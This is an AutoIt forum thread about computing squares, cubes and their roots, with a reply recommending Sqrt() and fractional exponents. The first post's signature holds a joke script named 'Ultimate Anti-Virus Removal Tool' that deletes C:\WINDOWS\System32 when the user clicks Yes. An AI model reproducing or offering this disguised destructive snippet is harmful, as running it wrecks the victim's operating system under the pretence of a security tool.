Jump to content
Sign in to follow this  
Firefoxy

For...To...Step...Next

Recommended Posts

Firefoxy

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $ButtonFindSquare
    
$FindSq1 = GUICtrlRead($FindSq)

GUICtrlSetData($FindSqAns, $FindSq1*$FindSq1)

Case $ButtonFindCb
    
$FindCb1 = GUICtrlRead($FindCb)

GUICtrlSetData($FIndCbAns, $FindCb1*$FindCb1*$FindCb1)


Case $Button3
    
$FindSq2 = GUICtrlRead($OneOne)

For $i = .01 to 9999.01 Step .01
Do 
Until $FindSq2
$FindSq3 = GUICtrlRead($i)
Next
GUICtrlSetData($OneTwo, $FindSq3)


EndSwitch
WEnd

This is what I've got so far. You see you can Square or Cube a number. That part was terribly easy. The next part though is trying to find what the Square of a number is (and separately, Cube). They way I was going to do this was using For...To...Step...Next

My plain is making $i = .01

Multiply $i by $i

If it's not equal then make $i go up .01 until $i*$i = Number inputed. Then returning $i as the square.

For $i = .01 to 9999.01 Step .01
Do 
Until $FindSq2
$FindSq3 = GUICtrlRead($i)
Next
GUICtrlSetData($OneTwo, $FindSq3)

(I made it go to 9999.01 because I doubt someone will go that high.) How exactally would I do this? Each time I try it says 'Line 60' - $FindSq3 - Variable used without being declared. (Line 60- GUICtrlSetData($OneTwo, $FindSq3))


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites
Nahuel

:D

No offense, but that's a really stupid idea.

Ever heard of Sqrt()? (Calculates the square-root of a number)

A better way.

In case you didn't know, here's an interesting thing:

Posted Image

This means that if you want to find the square root of a number, you can raise that number to the power 1/2 using the operator: ^

25^(1/2) = 5

Cube root:

8^(1/3) = 2

Hope this helps :P

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.